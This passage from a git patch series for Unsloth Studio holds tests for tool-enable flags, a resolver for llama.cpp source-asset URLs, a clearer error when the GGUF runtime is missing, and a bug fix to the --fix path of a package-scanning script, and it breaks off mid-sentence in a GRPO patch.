-    # --secure is public via the tunnel, so tools resolve against 0.0.0.0 (OFF), not loopback (ON).
+def test_run_secure_resolves_tools_against_loopback(monkeypatch):
+    # --secure is a loopback bind behind an authenticated tunnel, so tools resolve
+    # against 127.0.0.1 (ON): the child gets --enable-tools, not --disable-tools.
     studio_mod = _studio()
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
@@ -261,7 +262,7 @@ def test_run_secure_resolves_tools_against_public_host(monkeypatch):
 
     def rec(host, flag, yes, silent):
         calls.append(host)
-        return (not _tp_mod.is_external_host(host)) if flag is None else bool(flag)
+        return True if flag is None else bool(flag)  # default ON everywhere
 
     monkeypatch.setattr(_tp_mod, "resolve_tool_policy", rec)
 
@@ -281,14 +282,74 @@ def test_run_secure_resolves_tools_against_public_host(monkeypatch):
     )(studio_mod.run)
     CliRunner().invoke(app, _BASE + ["-H", "0.0.0.0", "--secure"], catch_exceptions = True)
 
-    assert calls and calls[0] == "0.0.0.0", calls
+    # Resolved against the forced-loopback bind, not the public 0.0.0.0 exposure.
+    assert calls and calls[0] == "127.0.0.1", calls
+    assert len(captured) == 1, captured
+    assert "--enable-tools" in captured[0] and "--disable-tools" not in captured[0], captured[0]
+
+
+def test_run_secure_enable_tools_no_auto_yes(monkeypatch):
+    # No prompt now, so a secure --enable-tools forwards --enable-tools but not
+    # --yes (only an explicit --yes is forwarded).
+    captured = _invoke_run(monkeypatch, _BASE + ["-H", "0.0.0.0", "--secure", "--enable-tools"])
+    assert len(captured) == 1, captured
+    argv = captured[0]
+    assert "--enable-tools" in argv, argv
+    assert "--yes" not in argv, argv
+
+
+# ── plain `unsloth studio` exposes + forwards --enable-tools/--disable-tools ──
+
+
+def test_studio_default_exposes_enable_tools_option_default_none():
+    import inspect
+
+    opt = inspect.signature(_studio().studio_default).parameters["enable_tools"].default
+    decls = set(getattr(opt, "param_decls", []) or [])
+    assert "--enable-tools/--disable-tools" in decls
+    assert opt.default is None  # tri-state: omitted -> leave policy unset (tools on)
+
+
+def test_studio_default_forwards_disable_tools(monkeypatch):
+    captured = _invoke_studio_default(monkeypatch, ["--disable-tools"])
     assert len(captured) == 1, captured
     assert "--disable-tools" in captured[0] and "--enable-tools" not in captured[0], captured[0]
 
 
-def test_run_secure_enable_tools_forwards_yes(monkeypatch):
-    # Enabling tools on a secure endpoint forwards --yes so the child doesn't re-prompt.
-    captured = _invoke_run(monkeypatch, _BASE + ["-H", "0.0.0.0", "--secure", "--enable-tools"])
+def test_studio_default_forwards_enable_tools(monkeypatch):
+    captured = _invoke_studio_default(monkeypatch, ["--enable-tools"])
     assert len(captured) == 1, captured
-    argv = captured[0]
-    assert "--enable-tools" in argv and "--yes" in argv, argv
+    assert "--enable-tools" in captured[0] and "--disable-tools" not in captured[0], captured[0]
+
+
+def test_studio_default_no_tool_flag_omits_both(monkeypatch):
+    # No flag -> neither flag forwarded; run.py leaves the policy unset (tools on).
+    captured = _invoke_studio_default(monkeypatch, [])
+    assert len(captured) == 1, captured
+    assert "--enable-tools" not in captured[0] and "--disable-tools" not in captured[0], captured[0]
+
+
+def test_studio_default_rejects_enable_tools_with_subcommand():
+    import typer as _typer
+
+    studio_mod = _studio()
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+    result = CliRunner().invoke(app, ["studio", "--enable-tools", "run", "--model", "X"])
+    assert result.exit_code == 2, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--enable-tools" in combined, combined
+
+
+def test_run_tool_help_reflects_default_on_everywhere():
+    # Help must match the new policy (tools on everywhere, no prompt).
+    import inspect
+
+    params = inspect.signature(_studio().run).parameters
+    tools_help = params["enable_tools"].default.help or ""
+    assert "on for every bind" in tools_help, tools_help
+    assert "0.0.0.0" not in tools_help, tools_help
+
+    yes_help = params["yes"].default.help or ""
+    assert "Skip the 0.0.0.0" not in yes_help, yes_help
+    assert "no longer prompts" in yes_help, yes_help

From 23a3d972bf7537ab688d959aef27c38128409219 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 05:59:42 -0700
Subject: [PATCH 70/91] Studio: reach the published source asset when a mix
 build's commit 404s (#6314)

* Studio: reach the published source asset when a mix build's commit 404s

A llama.cpp "mix" prebuilt records a merge commit that is never pushed to
the fork, so the codeload/archive URLs for that commit 404. The merged
source tree is instead published as a release asset alongside the prebuilt
(llama.cpp-source-commit-<sha>.tar.gz). The installer resolves that asset
URL from the approved-checksums manifest, but when the manifest omits the
top-level repo/release_tag the URL resolves empty, hydration falls through
to the 404-ing commit archive, and the prebuilt install drops to a slow
source build (or fails outright).

Extract exact_source_asset_url() and resolve the asset's host and tag
defensively: the artifact's own repo, then the manifest repo, then the
source repo; and the manifest release tag, then the tag we actually
installed the prebuilt from (the source asset is its sibling on the same
release). Normal installs build the identical URL as before, so this only
adds a working fallback for the degenerate manifest.

Add unit coverage for the resolver, including the empty repo/release_tag
regressions.

* Studio: cover exact_source_asset_url through the real parser chain

Add TestExactSourceAssetUrl.test_resolves_through_real_parser_chain, which runs
parse_approved_release_checksums -> preferred_source_archive -> exact_source_asset_url
so a regression in the parser or source-selection wiring cannot pass while only the
hand-built helper unit tests stay green.
---
 studio/install_llama_prebuilt.py             |  36 +++++-
 tests/studio/install/test_selection_logic.py | 123 +++++++++++++++++++
 2 files changed, 153 insertions(+), 6 deletions(-)

diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 111a0485e9..4edab0b8ab 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -5948,6 +5948,34 @@ def preferred_source_archive(
     )
 
 
+def exact_source_asset_url(
+    approved_checksums: ApprovedReleaseChecksums,
+    source_repo: str,
+    source_archive: ApprovedArtifactHash | None,
+    exact_source: bool,
+    release_tag: str,
+) -> str | None:
+    """Release-asset URL for a mix build's merged source tree, or None.
+
+    A mix build's merge commit is never pushed, so its codeload/archive URLs
+    404; the only durable copy of the merged tree is the
+    ``llama.cpp-source-commit-<sha>.tar.gz`` asset published alongside the
+    prebuilt. Resolve its host and tag defensively so a manifest that omits the
+    top-level ``repo``/``release_tag`` still reaches the asset: prefer the
+    artifact's own repo, then the manifest repo, then the source repo; and prefer
+    the manifest release tag, then the tag we actually installed the prebuilt
+    from (its sibling on the same release). Without this the empty fields drop the
+    only working URL and hydration falls through to the 404-ing commit archive.
+    """
+    if not exact_source or source_archive is None:
+        return None
+    return release_asset_download_url(
+        source_archive.repo or approved_checksums.repo or source_repo,
+        approved_checksums.release_tag or release_tag,
+        source_archive.asset_name,
+    )
+
+
 def selected_source_archive_metadata(
     checksums: ApprovedReleaseChecksums, llama_tag: str
 ) -> tuple[str, str | None]:
@@ -6389,12 +6417,8 @@ def validate_prebuilt_choice(
     )
     # For an exact (mix) source the merge commit lives only in the release asset,
     # not in any repo, so fetch the asset directly; codeload stays the fallback.
-    asset_url = (
-        release_asset_download_url(
-            approved_checksums.repo, approved_checksums.release_tag, source_archive.asset_name
-        )
-        if exact_source and source_archive is not None
-        else None
+    asset_url = exact_source_asset_url(
+        approved_checksums, source_repo, source_archive, exact_source, release_tag
     )
     if exact_source:
         log(f"hydrating exact llama.cpp source for {source_repo}@{source_ref} into {install_dir}")
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 64715a6327..771b19c043 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -4084,3 +4084,126 @@ class TestCudaDriverToolkitMismatchMessage:
         output = self._run_bash(script)
         assert "NONE" in output
         assert "FOUND" not in output
+
+
+class TestExactSourceAssetUrl:
+    """exact_source_asset_url resolves the published source-commit release asset
+    for mix builds even when the manifest omits the top-level repo/release_tag.
+
+    A mix build's merge commit is never pushed, so its codeload/archive URLs
+    404; the ``llama.cpp-source-commit-<sha>.tar.gz`` asset is the only durable
+    copy. If the asset URL resolves empty, hydration falls through to the 404-ing
+    commit archive and the whole prebuilt install fails to a source build.
+    """
+
+    COMMIT = "c4fca6de" + "a" * 32  # 40-char sha
+    INSTALL_TAG = "b9616-mix-17e50db"
+
+    def _artifact(self, *, repo):
+        name = exact_source_archive_logical_name(self.COMMIT)
+        return ApprovedArtifactHash(
+            asset_name = name,
+            sha256 = "c" * 64,
+            repo = repo,
+            kind = "exact-source",
+        )
+
+    def _checksums(self, *, repo, release_tag):
+        return ApprovedReleaseChecksums(
+            repo = repo,
+            release_tag = release_tag,
+            upstream_tag = "b9616",
+            source_repo = "unslothai/llama.cpp",
+            source_commit = self.COMMIT,
+            artifacts = {},
+        )
+
+    def _expected(self, repo, tag):
+        return (
+            f"https://github.com/{repo}/releases/download/"
+            f"{tag}/{exact_source_archive_logical_name(self.COMMIT)}"
+        )
+
+    def test_uses_manifest_repo_and_tag_when_present(self):
+        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, "ignored-tag"
+        )
+        assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
+
+    def test_falls_back_to_install_tag_when_manifest_tag_missing(self):
+        # Regression: an empty manifest release_tag must not drop the asset URL.
+        # Before the fix this returned None and hydration 404'd on the merge commit.
+        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = "")
+        url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, self.INSTALL_TAG
+        )
+        assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
+
+    def test_falls_back_to_source_repo_when_manifest_repo_missing(self):
+        checksums = self._checksums(repo = "", release_tag = self.INSTALL_TAG)
+        url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+            checksums, "unslothai/llama.cpp", self._artifact(repo = None), True, self.INSTALL_TAG
+        )
+        assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
+
+    def test_prefers_artifact_repo_over_manifest_repo(self):
+        checksums = self._checksums(repo = "unslothai/checksums-only", release_tag = self.INSTALL_TAG)
+        url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+            checksums,
+            "unslothai/llama.cpp",
+            self._artifact(repo = "unslothai/llama.cpp"),
+            True,
+            self.INSTALL_TAG,
+        )
+        assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)
+
+    def test_returns_none_for_non_exact_source(self):
+        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        assert (
+            INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+                checksums, UPSTREAM_REPO, None, False, self.INSTALL_TAG
+            )
+            is None
+        )
+
+    def test_returns_none_without_source_archive(self):
+        checksums = self._checksums(repo = "unslothai/llama.cpp", release_tag = self.INSTALL_TAG)
+        assert (
+            INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+                checksums, "unslothai/llama.cpp", None, True, self.INSTALL_TAG
+            )
+            is None
+        )
+
+    def test_resolves_through_real_parser_chain(self):
+        # The cases above hand-build ApprovedReleaseChecksums; this exercises the
+        # production path they bypass: parse_approved_release_checksums ->
+        # preferred_source_archive -> exact_source_asset_url, so a regression in the
+        # parser/selection wiring can't pass while only the helper unit tests stay green.
+        payload = {
+            "schema_version": 1,
+            "component": "llama.cpp",
+            "release_tag": self.INSTALL_TAG,
+            "upstream_tag": "b9616",
+            "source_repo": "unslothai/llama.cpp",
+            "source_commit": self.COMMIT,
+            "artifacts": {
+                exact_source_archive_logical_name(self.COMMIT): {
+                    "sha256": "c" * 64,
+                    "kind": "exact-source",
+                },
+            },
+        }
+        checksums = INSTALL_LLAMA_PREBUILT.parse_approved_release_checksums(
+            "unslothai/llama.cpp", self.INSTALL_TAG, payload
+        )
+        source_repo, _source_ref, source_archive, exact_source = (
+            INSTALL_LLAMA_PREBUILT.preferred_source_archive(checksums, "b9616")
+        )
+        assert exact_source is True
+        assert source_archive is not None
+        url = INSTALL_LLAMA_PREBUILT.exact_source_asset_url(
+            checksums, source_repo, source_archive, exact_source, self.INSTALL_TAG
+        )
+        assert url == self._expected("unslothai/llama.cpp", self.INSTALL_TAG)

From 8d804c941365ee509e4c3d76d13479dea754e789 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 06:00:00 -0700
Subject: [PATCH 71/91] Studio: show an actionable message when the GGUF
 runtime is missing (#6327)

* Studio: show an actionable message when the GGUF runtime is missing

Selecting a GGUF model with no llama-server installed surfaced a generic
"Invalid model" in the UI, because validate_model's catch-all discarded the
real cause. Add LlamaServerNotFoundError (a RuntimeError subclass) raised by the
GGUF preflight in ModelConfig.from_identifier, and catch it in the validate
route so users get an actionable message: run `unsloth studio setup` to
download the prebuilt llama.cpp runtime. Other validation failures keep the safe
generic message. Adds a regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: also map missing GGUF runtime to a 400 in load_model

validate_model already surfaces the actionable 'install the runtime'
message for LlamaServerNotFoundError; load_model fell through to the
generic 500 'Failed to load model'. Catch it there too so a GGUF load
without llama-server gives the same install hint instead of a 500.

* Trim comments for PR #6327

* Studio: fix stale validate test after #6398 and surface missing GGUF runtime on /load

- test_other_runtime_errors_do_not_get_gguf_message: after merging #6398,
  validate_model surfaces a RuntimeError's own message, so a plain RuntimeError
  no longer returns "Invalid model". Assert it does not receive the GGUF
  install message instead (the prior assertion was stale after the main merge).
- Raise LlamaServerNotFoundError (not a plain RuntimeError) at the backend
  load-time missing-binary branch, after diffusion routing, so /load returns the
  actionable 400 like remote validation, instead of a generic 500.
- Share LLAMA_SERVER_NOT_FOUND_DETAIL between the from_identifier preflight and
  the load-time raise so the message stays in sync.
- Add a propagation regression test for the non-tensor load path.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/llama_cpp.py    |  23 +++-
 studio/backend/routes/inference.py            |  12 ++
 .../test_validate_gguf_runtime_message.py     | 122 ++++++++++++++++++
 studio/backend/utils/models/model_config.py   |  11 +-
 4 files changed, 158 insertions(+), 10 deletions(-)
 create mode 100644 studio/backend/tests/test_validate_gguf_runtime_message.py

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 3c77487efe..197ecf1a9f 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -78,6 +78,19 @@ from state.tool_approvals import (
 logger = get_logger(__name__)
 
 
+class LlamaServerNotFoundError(RuntimeError):
+    """GGUF model needs the llama.cpp runtime but no llama-server is installed.
+    Subclasses RuntimeError so existing handlers still catch it."""
+
+
+# Shared so the from_identifier preflight and the load-time raise stay in sync.
+LLAMA_SERVER_NOT_FOUND_DETAIL = (
+    "This is a GGUF model, but the llama.cpp runtime (llama-server) is not "
+    "installed. Run `unsloth studio setup` to download the prebuilt runtime, "
+    "then try again. (Advanced: set LLAMA_SERVER_PATH to an existing binary.)"
+)
+
+
 # llama-server can serve HTTP 200 while running a model entirely on CPU when a
 # GPU backend fails to init (#5807 / #5106 / #5830). Classify the startup log so
 # Studio can warn. Priority: explicit "offloaded N/M layers to GPU" counts
@@ -4343,11 +4356,11 @@ class LlamaCppBackend:
                         "(access-denied; antivirus or an in-flight install). "
                         "Retry the load once it is released."
                     )
-                raise RuntimeError(
-                    "llama-server binary not found. "
-                    "Run setup.sh to build it, install llama.cpp, "
-                    "or set LLAMA_SERVER_PATH environment variable."
-                )
+                # Reached only after the diffusion early-return above, so this is a
+                # genuine llama-server-backed GGUF with no runtime. Raise the typed
+                # error so /load returns the actionable 400 (not a generic 500), the
+                # same message remote validation already shows.
+                raise LlamaServerNotFoundError(LLAMA_SERVER_NOT_FOUND_DETAIL)
 
             # Outside ``self._lock`` so /unload, /cancel, /status aren't
             # blocked. ``unload_model`` also records the kill, so the
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index be8bf77eb6..52540a5a72 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -1951,6 +1951,8 @@ async def load_model(
 
     GGUF models load via llama-server (llama.cpp) instead of Unsloth.
     """
+    from core.inference.llama_cpp import LlamaServerNotFoundError
+
     native_grant_backed = False
     model_log_label = request.model_path
     try:
@@ -2511,6 +2513,10 @@ async def load_model(
         logger.warning("Rejected inference GPU selection: %s", e)
         # User-facing validation (e.g. "Invalid gpu_ids [99]"): redact paths, keep detail.
         raise HTTPException(status_code = 400, detail = redact_native_paths(str(e)))
+    except LlamaServerNotFoundError as e:
+        # Missing GGUF runtime: 400 with the install message, not a generic 500.
+        logger.warning("GGUF runtime missing while loading '%s': %s", model_log_label, e)
+        raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
         # Friendlier message for models Unsloth cannot load.
         not_supported_hints = [
@@ -2620,6 +2626,8 @@ async def validate_model(
     Checks that ModelConfig.from_identifier() can resolve model_path, but does
     NOT load model weights into GPU memory.
     """
+    from core.inference.llama_cpp import LlamaServerNotFoundError
+
     native_grant_backed = False
     model_log_label = request.model_path
     try:
@@ -2709,6 +2717,10 @@ async def validate_model(
 
     except HTTPException:
         raise
+    except LlamaServerNotFoundError as e:
+        # Missing GGUF runtime: 400 with the install message, not a generic "Invalid model".
+        logger.warning("GGUF runtime missing while validating '%s': %s", request.model_path, e)
+        raise HTTPException(status_code = 400, detail = str(e))
     except Exception as e:
         not_supported_hints = [
             "No config file found",
diff --git a/studio/backend/tests/test_validate_gguf_runtime_message.py b/studio/backend/tests/test_validate_gguf_runtime_message.py
new file mode 100644
index 0000000000..f612cc4a03
--- /dev/null
+++ b/studio/backend/tests/test_validate_gguf_runtime_message.py
@@ -0,0 +1,122 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""/api/inference/validate and /load must surface an actionable "install the runtime"
+message when a GGUF model's llama-server is missing, not a generic error."""
+
+import asyncio
+import importlib.util
+import unittest
+from pathlib import Path
+from unittest.mock import MagicMock, patch
+
+from fastapi import HTTPException
+
+from core.inference.llama_cpp import LlamaServerNotFoundError
+from models.inference import LoadRequest, ValidateModelRequest
+
+_BACKEND_ROOT = Path(__file__).resolve().parent.parent
+
+
+def _load_route_module(name: str, relative_path: str):
+    # Load routes/inference.py under a standalone name (mirrors test_gpu_selection).
+    spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+_GGUF_MSG = (
+    "This is a GGUF model, but the llama.cpp runtime (llama-server) is not "
+    "installed. Run `unsloth studio setup` to download the prebuilt runtime, "
+    "then try again. (Advanced: set LLAMA_SERVER_PATH to an existing binary.)"
+)
+
+
+class TestValidateGgufRuntimeMessage(unittest.TestCase):
+    def _validate(self, route, model_path, side_effect):
+        request = ValidateModelRequest(model_path = model_path)
+        with (
+            patch.object(
+                route,
+                "_resolve_model_identifier_for_request",
+                return_value = (model_path, model_path, False),
+            ),
+            patch.object(route.ModelConfig, "from_identifier", side_effect = side_effect),
+        ):
+            with self.assertRaises(HTTPException) as exc:
+                asyncio.run(route.validate_model(request, current_subject = "test-user"))
+        return exc.exception
+
+    def test_missing_llama_server_returns_actionable_message(self):
+        route = _load_route_module("inf_route_runtime_msg_1", "routes/inference.py")
+        err = self._validate(route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG))
+        self.assertEqual(err.status_code, 400)
+        self.assertIn("unsloth studio setup", err.detail)
+        self.assertIn("llama.cpp runtime", err.detail)
+        self.assertNotEqual(err.detail, "Invalid model")
+
+    def test_other_runtime_errors_do_not_get_gguf_message(self):
+        # LlamaServerNotFoundError subclasses RuntimeError, so a plain RuntimeError must not be
+        # routed to the GGUF "install the runtime" message. validate_model surfaces a RuntimeError's
+        # own message (#6398), so assert the GGUF install text is absent and the message is intact.
+        route = _load_route_module("inf_route_runtime_msg_2", "routes/inference.py")
+        err = self._validate(route, "not/a-real-model", RuntimeError("totally different failure"))
+        self.assertEqual(err.status_code, 400)
+        self.assertNotIn("unsloth studio setup", err.detail)
+        self.assertNotIn("llama.cpp runtime", err.detail)
+        self.assertEqual(err.detail, "totally different failure")
+
+
+class TestLoadGgufRuntimeMessage(unittest.TestCase):
+    """/api/inference/load surfaces the same message (not a 500) when the runtime is missing."""
+
+    def _load(self, route, model_path, side_effect):
+        request = LoadRequest(model_path = model_path)
+        backend = MagicMock(active_model_name = None)  # no resident model -> reach from_identifier
+        with (
+            patch.object(
+                route,
+                "_resolve_model_identifier_for_request",
+                return_value = (model_path, model_path, False),
+            ),
+            patch.object(route, "resolve_effective_chat_template_override", return_value = None),
+            patch.object(route, "get_inference_backend", return_value = backend),
+            patch.object(route, "get_llama_cpp_backend", return_value = MagicMock()),
+            patch.object(route.ModelConfig, "from_identifier", side_effect = side_effect),
+        ):
+            with self.assertRaises(HTTPException) as exc:
+                asyncio.run(route.load_model(request, MagicMock(), current_subject = "test-user"))
+        return exc.exception
+
+    def test_missing_llama_server_returns_actionable_message(self):
+        route = _load_route_module("inf_route_load_runtime_msg_1", "routes/inference.py")
+        err = self._load(route, "unsloth/Qwen3-1.7B-GGUF", LlamaServerNotFoundError(_GGUF_MSG))
+        self.assertEqual(err.status_code, 400)
+        self.assertIn("unsloth studio setup", err.detail)
+        self.assertIn("llama.cpp runtime", err.detail)
+
+    def test_other_load_errors_still_500(self):
+        route = _load_route_module("inf_route_load_runtime_msg_2", "routes/inference.py")
+        err = self._load(route, "unsloth/some-model", RuntimeError("totally different failure"))
+        self.assertEqual(err.status_code, 500)
+
+
+class TestLoadPathPropagatesRuntimeError(unittest.TestCase):
+    """The backend GGUF load now raises LlamaServerNotFoundError when the runtime is
+    missing (after diffusion routing). The default (non-tensor) load must propagate it
+    to load_model's 400 arm, not swallow it into a generic 500."""
+
+    def test_tensor_fallback_propagates_missing_runtime(self):
+        from core.inference.tensor_fallback import load_with_tensor_fallback
+        async def _attempt(_tensor, _extra):
+            raise LlamaServerNotFoundError(_GGUF_MSG)
+
+        with self.assertRaises(LlamaServerNotFoundError):
+            asyncio.run(
+                load_with_tensor_fallback(_attempt, requested_tensor = False, extra_args = None)
+            )
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 45474389c8..11fe58e6c3 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -2604,13 +2604,14 @@ class ModelConfig:
                 # download. include_denied: a transiently locked binary still
                 # exists (the lock clears long before the download finishes; the
                 # load itself reports a still-locked binary distinctly).
-                from core.inference.llama_cpp import LlamaCppBackend
+                from core.inference.llama_cpp import (
+                    LLAMA_SERVER_NOT_FOUND_DETAIL,
+                    LlamaCppBackend,
+                    LlamaServerNotFoundError,
+                )
 
                 if not LlamaCppBackend._find_llama_server_binary(include_denied = True):
-                    raise RuntimeError(
-                        "llama-server binary not found — cannot load GGUF models. "
-                        "Run setup.sh to build it, or set LLAMA_SERVER_PATH."
-                    )
+                    raise LlamaServerNotFoundError(LLAMA_SERVER_NOT_FOUND_DETAIL)
 
                 # list_gguf_variants() detects vision & resolves the variant
                 variants, has_vision = list_gguf_variants(identifier, hf_token = hf_token)

From 892d2983b0468b58c45568d5c247e56484236d74 Mon Sep 17 00:00:00 2001
From: Parvesh Saini <97528080+parveshsaini@users.noreply.github.com>
Date: Thu, 18 Jun 2026 18:30:07 +0530
Subject: [PATCH 72/91] Fix: scan_packages.py --fix crash on
 download_packages() tuple return (#6413)

* Fix scan_packages.py --fix crash on download_packages() tuple return

`download_packages()` returns `(results, download_errors)`, but the two
`--fix`-path call sites still treated the return value as the bare results
list. `find_safe_version` did `downloaded = download_packages(...)` followed
by `if not downloaded:` (always false: a 2-tuple is truthy) and
`for _, archive_path in downloaded:`, which unpacked the results list into
two variables -> ValueError in the normal single-archive `--no-deps` case.
`_run_fix` indexed `downloaded[0][1]`, i.e. the second archive of the results
list instead of the first archive's path -> IndexError. So `--fix` crashed
exactly when a CRITICAL finding needed remediation. The main scan path already
unpacks the tuple; this aligns the two `--fix` sites with it.

Adds CPU-only regression tests for both sites.

Closes #6412

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

* Update scripts/scan_packages.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

* Update scripts/scan_packages.py

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
---
 scripts/scan_packages.py             |  9 ++++-
 tests/security/test_scan_packages.py | 58 ++++++++++++++++++++++++++++
 2 files changed, 65 insertions(+), 2 deletions(-)

diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index 9f22035001..afa1189864 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -2154,8 +2154,10 @@ def find_safe_version(
         scan_dir = os.path.join(tmpdir, f"{name}_{ver}")
         os.makedirs(scan_dir, exist_ok = True)
 
-        downloaded = download_packages([spec], scan_dir)
+        downloaded, download_errors = download_packages([spec], scan_dir)
         if not downloaded:
+            for err in download_errors:
+                print(f"    [WARN] {err}", file = sys.stderr)
             continue
 
         clean = True
@@ -2288,9 +2290,12 @@ def _run_fix(critical_pkgs: set[str], entries: list[dict], max_search: int) -> N
                 # If no pinned version, download to find what pip resolves
                 dl_dir = os.path.join(tmpdir, f"resolve_{pkg_name}")
                 os.makedirs(dl_dir, exist_ok = True)
-                downloaded = download_packages([pkg_name], dl_dir)
+                downloaded, download_errors = download_packages([pkg_name], dl_dir)
                 if downloaded:
                     current_ver = get_downloaded_version(downloaded[0][1])
+                else:
+                    for err in download_errors:
+                        print(f"  [WARN] {err}", file = sys.stderr)
                 shutil.rmtree(dl_dir, ignore_errors = True)
 
             if not current_ver:
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index c9b64a9da4..19205a2842 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -548,3 +548,61 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
     sp._resolve_per_spec_with_deps(["x==1.0.0"], str(tmp_path), {}, errors)
     assert errors == []  # sdist-only handled, not an exit-2 failure
     assert any(p.name.endswith(".tar.gz") for p in tmp_path.iterdir())
+
+
+# ---------------------------------------------------------------------------
+# --fix path: download_packages() returns (results, download_errors); both
+# --fix call sites must unpack the tuple, not treat it as the results list.
+# ---------------------------------------------------------------------------
+
+
+def test_find_safe_version_handles_download_tuple(monkeypatch):
+    # One downloaded archive, returned as the real (results, download_errors) tuple.
+    monkeypatch.setattr(sp, "fetch_pypi_versions", lambda name: ["0.9.0", "1.0.0"])
+    monkeypatch.setattr(
+        sp,
+        "download_packages",
+        lambda specs, dest, **kw: ([("foo==0.9.0", "/tmp/foo-0.9.0.whl")], []),
+    )
+    monkeypatch.setattr(sp, "scan_archive", lambda archive_path, name: [])  # clean
+    monkeypatch.setattr(sp.os, "makedirs", lambda *a, **k: None)
+    monkeypatch.setattr(sp.os, "remove", lambda *a, **k: None)
+    monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)
+
+    # bad_ver 1.0.0 -> the only older candidate is 0.9.0, which is clean.
+    result = sp.find_safe_version("foo", "1.0.0", "/tmp/ignored", max_search = 10)
+    assert result == "0.9.0"
+
+
+def test_run_fix_uses_first_archive_path(monkeypatch):
+    monkeypatch.setattr(
+        sp,
+        "download_packages",
+        lambda specs, dest, **kw: ([("foo", "/tmp/foo-1.2.3.whl")], []),
+    )
+    seen = {}
+
+    def fake_get_downloaded_version(path):
+        seen["path"] = path
+        return "1.2.3"
+
+    monkeypatch.setattr(sp, "get_downloaded_version", fake_get_downloaded_version)
+    monkeypatch.setattr(sp, "find_safe_version", lambda *a, **k: None)
+    monkeypatch.setattr(sp.os, "makedirs", lambda *a, **k: None)
+    monkeypatch.setattr(sp.shutil, "rmtree", lambda *a, **k: None)
+
+    # CRITICAL package with no pinned version -> must download to resolve it,
+    # reaching downloaded[0][1] (the first archive's path).
+    entries = [
+        {
+            "name": "foo",
+            "is_git": False,
+            "spec": "foo",
+            "source_file": None,
+            "raw_line": "foo",
+            "line_num": 1,
+        }
+    ]
+    sp._run_fix({"foo"}, entries, max_search = 10)  # must not raise
+
+    assert seen.get("path") == "/tmp/foo-1.2.3.whl"

From 707641179fa4029fbbfa5fd6a8a7da698fe5c37c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 06:15:54 -0700
Subject: [PATCH 73/91] Align GRPO vllm_enable_sleep_mode with the engine's
 actual sleep state (#6420)

The colocate GRPO setup set args.vllm_enable_sleep_mode from the raw
UNSLOTH_VLLM_STANDBY env var (== '1'). When unsloth-zoo's vision standby gate
disables sleep mode for a multimodal run, the engine is built with
enable_sleep_mode=False but TRL was still told sleep mode is on, so it could
drive sleep/wake against an engine that did not enable it.

Read enable_sleep_mode from the colocated engine
(model.vllm_engine.llm_engine.vllm_config.model_config), the same path
